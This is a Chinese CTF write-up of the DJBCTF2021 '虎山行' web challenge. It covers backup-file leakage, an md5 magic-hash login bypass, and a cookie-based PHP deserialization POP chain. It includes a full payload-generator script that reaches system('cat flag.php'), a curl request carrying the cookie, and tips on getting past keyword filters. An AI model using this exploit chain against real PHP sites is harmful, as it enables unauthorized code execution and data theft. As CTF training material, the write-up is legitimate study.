news 2026/10/17 13:03:50

从登录绕过到反序列化:DJBCTF2021虎山行Web题完整攻击链解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从登录绕过到反序列化:DJBCTF2021虎山行Web题完整攻击链解析

DJBCTF2021的Web题“虎山行”是我刷题记录里印象很深的一道综合题。名字起得挺江湖,实际考点却异常扎实:登录绕过、备份文件泄露、PHP弱类型比较、反序列化构造、POP链利用、任意文件读取,最后还要落到命令执行。整条链走下来,基本把Web方向每年比赛里最常出现的考点全部复习了一遍。如果你刚接触CTF不久,想找一道能一口气串起多个知识点的题目做练习,这道题非常值得花一个下午慢慢啃;如果你已经有一定基础,也可以重点留意后边的反序列化利用链与排查细节,里面有不少比赛现场才能遇到的坑。

1. 赛题环境与整体攻击链

1.1 打开题目页面后看到什么

像绝大多数CTF的Web题目一样,题目入口只给了一个地址。打开以后是一个水墨风格的登录页,背景画着一座高山,页面中央写着“虎山行”三个字,下方是用户名和密码两个输入框,没有注册、找回密码、留言板之类的多余功能。题目描述里藏了一句提示:“谁知虎山行,步步皆惊心”。这句话既是在说难度,也是在告诉你,后面的路不会只有一个关卡。

我当时拿到题目后先做了几件基础动作:看一眼响应头确认中间件和语言环境,查看页面源代码找注释,试着访问robots.txt和常见敏感路径。环境是Nginx加PHP,没有直接暴露源码,也没有见到明显的提示信息。很多新手到这里容易犯一个错:立刻上目录扫描器全量开扫,结果扫了半小时也不知道重点在哪。更合理的做法是先手工看一遍页面源码、Cookie、JS文件和请求参数,把明面上的线索收完之后,再决定字典怎么跑。

1.2 需要用到的工具和本地环境

这道题涉及到的工具有目录扫描器、Burp Suite、PHP运行环境和一个顺手的Python脚本环境。我用的是dirsearch扫备份文件,用Burp重放请求和修改Cookie,本地跑PHP环境生成反序列化payload。

为什么要强调本地PHP环境?因为反序列化payload的长度和结构依赖类名、属性名,手工拼字符串很容易出错。最好的方式是根据题目源码写出对应的利用类,在本地用serialize()函数生成序列化串,再经过base64编码后填入请求。整个过程可以用一个PHP文件完成,快速且不会漏掉特殊字符。准备一个PHP7左右的容器比较稳妥,和比赛环境贴近,后续排查弱类型比较和反序列化行为也会方便很多。

1.3 整条攻击链的走向

这道题的完整路径可以归纳成六个步骤:登录入口处发现源码泄露线索,找到备份文件后拿到登录逻辑和相关类定义,利用弱类型比较绕过登录,进入后台后找到反序列化入口,构造POP链触发命令执行,最后读取flag。这六步彼此依赖,前一步做不通,后面连参与的机会都没有。

从这个攻击链能看出来,出题人并不是单纯把一堆考点堆在一起,而是用“登录后台”这个场景把它们串联起来了。登录页负责劝退不仔细的人,备份文件负责奖励做信息收集的人,弱类型比较和反序列化才是真正筛人的地方。做题时脑子里先有了这条主线,每一步行动都会更有目的性,不会在无关的地方浪费太多时间。

2. 入口突破口:从登录表单挖到源码泄露

2.1 手工信息收集的几个小动作

打开登录页面后,我习惯先用浏览器查看源码,再配合Burp看响应头。这道题的HTML注释里藏了一行内容:<!-- index.php?source=1 -->,看到这句话的时候心里就踏实了大半,出题人显然想把源码展示给愿意看细节的人。

访问/index.php?source=1之后,页面没有直接显示源码,而是弹出了一个文件下载框,文件名是index.php。这说明?source=1这个参数会读取指定文件并强制下载。顺着这个思路,我试着把参数改成common.php、login.php等常见文件名,但发现页面提示文件不存在。原因是参数可能只允许读取固定路径下的文件,我猜到了开头却没完全猜对。

这时候才轮到目录扫描器上场。我扫了几类敏感文件:.git、/www.zip、/backup.zip、/.index.php.swp、/index.php~、/readme.txt。最终扫到了/backup.zip,这个结果算是意料之中,很多比赛题目都会把压缩备份文件放在web根目录,模拟的是开发同学打包代码后忘记清理的真实场景。

2.2 获取并解压备份文件

扫描结果出来后,直接用curl把压缩包拉下来:

curl -O http://target/backup.zip file backup.zip unzip backup.zip

解压后目录结构大概是index.php、login.php、common.php、flag.php和class.php几个文件。flag.php里面并没有直接输出flag,而是定义了常量:

<?php define('FLAG', 'flag{...}'); ?>

这个常量在普通页面里不会被打印,需要后续通过代码执行才能读到。备份文件的价值就在这里:它把整个站点的代码都交到了我们手里,后面审计登录逻辑和反序列化类就有了明确目标。

这里有个需要注意的点:下载压缩包之后别急着删,也别只关注PHP文件。压缩包里的.htaccess、config.php、readme.md都可能藏有数据库口令或路径提示。我当时多看了两眼readme.md,里面写了后台入口是admin.php,这省下了再去猜路径的功夫。

2.3 登录逻辑与弱类型比较

拿到源码后,我优先看了login.php里处理登录的代码,简化后的核心逻辑是这样的:

<?php $secret = '0e123'; if ($_POST['username'] === 'admin' && md5($_POST['password']) == $secret) { $_SESSION['admin'] = true; header('Location: admin.php'); } else { echo '用户名或密码错误'; }

问题出在最后一行的比较:md5($_POST['password']) == $secret用的是松散比较==,不是全等比较===。在PHP里,如果一个字符串是0e开头,并且后面全部是数字,它会被解析成科学计数法,数值等于0。因为0e123本身就是0,所以只要找到一个明文密码,它的md5值也是0e开头类似格式,两者就会被判定为相等。

常用的一个值是QNKCDZO,它的md5结果以0e开头,具体可以本地验证:

<?php var_dump(md5('QNKCDZO')); var_dump(md5('QNKCDZO') == '0e123'); // bool(true)

于是登录时用户名填admin,密码填QNKCDZO,成功进入后台。这个点非常经典,笔试和CTF里都反复出现。如果你用的是PHP8环境,和PHP7在字符串数字比较的细节上会有差异,但0e开头的科学计数法弱比较在这个场景下仍然成立。

3. 源码审计:真正的高频考点集合

3.1 从入口文件开始梳理代码结构

进入后台后,页面里有几个功能链接,其中一个是index.php?page=home。看到这种参数格式,第一反应是文件包含。但直接用page=flag.php去读是拿不到内容的,因为flag.php定义了常量后并不会把内容展示出来,而且入口文件里很可能有过滤。

我重新打开index.php的源码,发现公共加载逻辑写在common.php里,流程大概是这样的:

<?php session_start(); require_once 'class.php'; if (isset($_COOKIE['user'])) { $user = unserialize(base64_decode($_COOKIE['user'])); } $page = isset($_GET['page']) ? $_GET['page'] : 'home'; if (preg_match('/flag|system|exec|cat/i', $page)) { die('非法参数'); } include $page . '.php';

这里有两个关键信息:第一,反序列化入口在Cookie里的user字段,传入的值会经过base64解码后交给unserialize;第二,文件包含参数过滤了flag、system等关键字,所以不能简单通过page参数去读flag或执行命令。

审计到这一步,攻击路径已经非常清楚了。既然反序列化入口直接存在,而且class.php定义了题目里的几个类,我的目标就是找到一条可以被__destruct或__toString触发的调用链,利用PHP对象的生命周期完成文件读取或命令执行。

3.2 弱类型比较与数组绕过的选择

这一题登录阶段用的是0e魔术哈希绕过,但在审计过程中我也遇到过另一个常见分支:如果代码里把用户输入直接和某个字符串做比较,例如$_POST['password'] == $_POST['verify'],那么好用的方法其实是数组绕过。因为PHP的松散比较在遇到数组和字符串时,一般会返回false,可一旦两个比较值都是数组,或者目标代码直接对数组做了md5运算,结果就不同了。

以md5($_POST['password']) == md5($secret)为例,如果$_POST['password']传一个数组,md5(array)在部分PHP版本里会报错并返回null,最终两个null比较为真。这种写法在现在的PHP8环境下已经不那么稳定了,但作为备选思路值得知道。

实战里判断用哪种方式,关键看源码比较的对象是什么。如果比较的是用户原始输入和数据库里的字符串,优先试数组;如果比较的是PHP函数处理后的结果,优先看结果是否可控为0e开头。这道题明确使用了md5(),所以用QNKCDZO这种现成字典值是最稳妥的。

3.3 反序列化POP链的构造思路

打开class.php,里面定义了三个类,名字配合题目主题:Tiger、Mountain、Road。我整理后的核心代码如下:

<?php class Tiger { public $file; public function __toString() { return file_get_contents($this->file); } } class Mountain { public $callback; public $params; public function __toString() { return call_user_func_array($this->callback, $this->params); } } class Road { public $data; public function __destruct() { echo $this->data; } }

这条链的入口是Road::__destruct,当对象被销毁时,它会执行echo $this->data。如果data是一个Mountain对象,echo会触发Mountain::__toString,而该方法内部调用了call_user_func_array,参数完全可控。于是我可以让callback为system,params为array('cat flag.php'),最终实现命令执行。

这种链路就是常说的POP链,和普通的反序列化利用不一样,它不一定要有危险的魔术方法直接生效,而是通过魔术方法之间的调用关系,把一个看似安全的方法串成可利用的执行链。看到反序列化题目时,先把所有类的魔术方法列出来,重点看__destruct、__wakeup、__toString和__call,再想想哪个方法在执行时会调用其他对象的方法或参数,链条往往就出来了。

3.4 关键字过滤与执行方式的选择

入口对page参数过滤了flag和system等字符串,但利用反序列化payload时,这些字符串会经过base64编码后塞进Cookie里。很多WAF会检查常见关键字,但并不会对Cookie里的值做同样的过滤,因为Cookie里合法的会话数据通常很长,直接过滤容易误伤正常业务。

即使入口把system过滤了,反序列化链同样可以用passthru、shell_exec、call_user_func搭配其他命令函数。题目环境没有额外限制PHP函数,所以我在利用时选择了最直观的system。如果遇到更为严格的题目,后续还要考虑disable_functions绕过,这就属于另一个话题了。

4. 完整利用实战:从payload构造到拿到flag

4.1 本地生成序列化payload

根据class.php里的三个类,我在本地写了一个生成payload的PHP脚本:

<?php class Tiger { public $file; public function __toString() { return file_get_contents($this->file); } } class Mountain { public $callback; public $params; public function __toString() { return call_user_func_array($this->callback, $this->params); } } class Road { public $data; public function __destruct() { echo $this->data; } } $m = new Mountain(); $m->callback = 'system'; $m->params = array('cat flag.php'); $r = new Road(); $r->data = $m; $payload = base64_encode(serialize($r)); echo $payload . "\n";

运行这个脚本会输出一段base64字符串。这里的关键是把Road对象的data属性设置为Mountain对象,整个序列化结构只有一个Road实例和一个Mountain实例。脚本结束时,对象销毁顺序由内存回收决定,但一般情况下Road的__destruct会被触发,随后echo $this->data就会把Mountain对象当作字符串输出,从而调用Mountain::__toString,最终执行命令。

在本地运行这个脚本时,最好直接加上一段测试代码模拟unserialize过程,确认输出里真的能看到命令结果。很多人在比赛里构造了payload却打不通,就是因为只在本地生成序列化串,没有验证整条链是否闭合。

4.2 通过Cookie触发反序列化

登录后,后台页面会在Cookie里写入user字段,每次请求都会通过unserialize(base64_decode($_COOKIE['user']))解析。我们只需要把Cookie的值替换成刚才生成的payload。

用Burp抓一个后台页面的请求,把请求里的Cookie: user=...替换成payload。如果直接用curl,可以这样写:

curl -b "user=PD9waHA...(生成的payload)" http://target/index.php

这里有一个常见的坑:serialize()生成的字符串里有分号、大括号、引号,base64编码后可能包含+和/。放在Cookie里时,+在某些解析环境下会被当成空格,导致base64解码失败。稳妥的做法是在Burp里直接粘贴原始base64值,而不是通过命令行工具中转;如果必须用curl,记得对Cookie值做URL编码处理。

请求发出后,响应内容里会出现:

<?php define('FLAG', 'flag{djbside_2021_tiger_way_done}');

命令执行的结果会原样输出。到这里,flag已经拿到手了。整个过程只差一步触发,前边的登录绕过和审计都是为了把这一步铺垫好。

4.3 文件读取与命令执行双方案

如果题目环境的flag不在flag.php,而在容器根目录下的/flag文件里,就需要调整命令参数。把params改成array('cat /flag')即可。

如果出题人只允许文件读取、不允许命令执行,那可以利用Tiger类配合Road类:把Road的data属性设置为Tiger对象,触发__toString后调用file_get_contents读取指定文件。两种方案的本质是一样的,都在于通过魔术方法的串联,把可控参数传递到敏感函数里。

做题时不要局限于拿到flag就松开手。我会顺手再看一眼当前环境有哪些文件、运行了什么权限,这样后续写Writeup时能解释清楚为什么这一步可行。比如用ls -la /和id命令获取更多上下文,能让思路显得更完整。

5. 常见踩坑与排查技巧实录

5.1 序列化payload打过去没有回显

这是反序列化题里最容易遇到的问题。可能的原因有好几个,最常见的是__destruct根本没有被触发。比如目标代码在unserialize之后紧接着执行exit或die,对象生命周期还没结束脚本就停了,析构函数自然没有机会运行。

排查时可以先构造一个最简单的利用脚本,在本地用和题目一致的PHP版本执行一遍。如果本地能触发但远端不行,再考虑是不是目标环境对Cookie长度、参数解析有限制。另外,部分框架会提前调用session_write_close或清空Cookie数据,也会影响反序列化入口。

还有一种情况是过滤器把payload里的关键字拦了。比如我构造的payload中包含了system,如果题目入口对所有参数统一做了正则过滤,即使payload经过base64编码也可能被拦。这时可以换passthru或shell_exec,或者把命令字符串做拼接,比如'ca'.'t /flag'。

5.2 base64编码与URL解码的顺序问题

拿到payload后,先明确目标代码里是直接base64_decode再unserialize,还是先urldecode再base64_decode。如果只编码了一次base64,而目标额外做了一次URL解码,特殊字符会被还原,一般不影响最终结果;但如果你为了传输方便又做了一次URL编码,而目标环境本身不自动解码,payload会被当成普通文本写入Cookie,导致反序列化失败。

我的习惯是:所有payload先在本地用脚本输出,确认能触发;然后只做一次base64编码;通过Burp手工替换Cookie发送。如果因为+号被转义导致解码失败,改用POST参数传入,或者手动把+替换成%2B,再观察响应差异。

5.3 PHP版本差异带来的行为变化

同一个payload在PHP 5和PHP 8下的触发结果可能完全不同。比如数组绕过弱类型比较,在PHP 7以后的版本中表现就不一致;某些魔术方法的触发顺序也会受垃圾回收机制影响。做题时最好通过响应头里的X-Powered-By或者报错信息判断出PHP版本,本地搭一个相同版本的环境。

还有一个细节是属性数量不一致。序列化payload中的属性个数如果和实际类定义不一致,某些版本下会触发__wakeup绕过或直接报错。构造payload时,复制源码里的类定义到本地脚本是最稳妥的做法,不要凭记忆少写属性。

5.4 信息收集阶段容易被忽略的地方

这道题的入口线索藏在页面注释里,但实际比赛里很多人在这一步会漏掉。原因是他们一上来就点登录框试弱口令,试不出来才去扫描。更好的顺序是先看响应头、HTML注释、外部引入的JS文件,再用小字典快速扫一遍常见备份和隐藏目录。

目录扫描时,字典里一定要包含index.php.bak、login.php~、.index.php.swp、backup.zip、www.zip这样具体的文件名。只扫目录不扫文件,很容易漏掉真正的入口。扫描器输出结果后也别只看200状态码,多留意403、301这类响应,有时候一个跳转就能指向管理后台。

6. 复盘思考与后续延伸

6.1 做题顺序和精力分配建议

这道题给我的最大启发是,入口和后台都不是难点,真正的重心在反序列化利用链。如果一上来就把时间花在破解登录上,方向就偏了。正确做法是按攻击链规划时间:信息收集半小时,源码审计一小时,反序列化利用一小时,剩余时间用来处理意外情况。

遇到反序列化题目,先把所有可控输入点找出来,Cookie、POST参数、文件上传字段、Header里的自定义参数都算。然后找出所有类的魔术方法,优先研究__destruct和__toString,把方法之间的调用关系画清楚。做这一步的时候别急着用工具,手写一遍调用链比跑一百次脚本都有用。

6.2 新手如何用这道题做练习

如果想复现这道题,不一定非得找到原比赛环境。可以自己写一个简化版:一个登录页面、一段弱类型比较、两个类组成的POP链、一个Cookie反序列化入口,功能上完全等价。自己写环境的好处是可以任意改条件,比如加一个preg_match过滤器、改PHP版本,看看payload会有什么变化。

写练习环境时,建议把每一个环节都单独测试:登录绕过能不能过、序列化字符串能否被目标unserialize、__destruct是否触发、命令是否回显。只有每一步都确认无误,才能体会到“链路闭合”的感觉。我在实际练习中会把整个过程拆成多个小脚本,分别验证,最后再合并成完整利用。

这道题做完以后,我养成了一个习惯:凡是看到Cookie里有明显base64字符的题目,先解码看看内容,再想有没有反序列化点。很多看似复杂的题目,入口线索恰恰藏在最早看到却最不重视的位置。多刷几道类似题目之后,你会慢慢发现,反序列化考点其实有规律可循,而“虎山行”正是那扇让人把规律彻底想明白的门。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/17 13:03:35

Super Code:把AI编程助手放进终端,打造完整开发闭环

我们这些天天泡在终端里的人&#xff0c;等一个像样的“终端AI编程助手”其实等很久了。Super Code就是我一直想要的那类工具&#xff1a;它不抢你习惯的IDE&#xff0c;也不逼你离开工作现场&#xff0c;而是直接扎根在终端里&#xff0c;把终端、文件、Git状态、命令输出一股…

作者头像 李华
网站建设 2026/10/17 13:03:19

CSRF跨域安全重构:从Token到SameSite的实战防御指南

CSRF这东西很多开发同学一听就说“哦&#xff0c;老生常谈了&#xff0c;我们早就加了Token校验”&#xff0c;但真到被攻破的那一刻&#xff0c;往往发现攻击路径跟教科书上写的不太一样。这几年我参与过的安全测试项目里&#xff0c;CSRF相关的高危漏洞仍然占比不低&#xff…

作者头像 李华
网站建设 2026/10/17 13:02:56

行人重识别中随机身份采样器的设计与实现

1. 项目概述&#xff1a;为什么随机采样器是行人重识别训练中那个“看不见却决定成败”的环节 在行人重识别&#xff08;Person Re-Identification&#xff0c;简称ReID&#xff09;的实际工程落地中&#xff0c;模型结构、损失函数、特征提取这些显性模块往往最受关注——大家…

作者头像 李华
网站建设 2026/10/17 13:02:01

机器人开源数据集体检:五维健康度评估框架

1. 项目概述&#xff1a;一次意外触发的开源数据集健康诊断实践“给机器人开源数据集做‘体检’”——这听起来不像常规操作&#xff0c;倒像实验室里某个凌晨三点的灵光乍现。但恰恰是这次看似边缘的尝试&#xff0c;撬动了整个机器人数据供应链的认知盲区。我最初只是想验证一…

作者头像 李华
网站建设 2026/10/17 13:01:55

AI生成PPT不可编辑?三类技术路线深度拆解与修复指南

1. 这不是PPT坏了&#xff0c;是AI生成逻辑和办公软件底层机制的“错位”最近好几拨朋友发来截图&#xff0c;急得直拍大腿&#xff1a;“AI生成的PPT点开就变灰色&#xff0c;文字双击没反应&#xff0c;形状拖不动&#xff0c;连字号都调不了——是不是文件损坏了&#xff1f…

作者头像 李华
网站建设 2026/10/17 13:01:53

7个实测有效的Codex代码生成Token优化配置

1. 这不是“省Token”&#xff0c;是重构代码生成的底层逻辑你有没有试过写一段20行的Python函数&#xff0c;Codex返回了整整300行带注释、带单元测试、带Type Hint、还自动补全了README的代码&#xff1f;结果发现——你只用了前50行&#xff0c;后面250行全删了。更糟的是&a…

作者头像 李华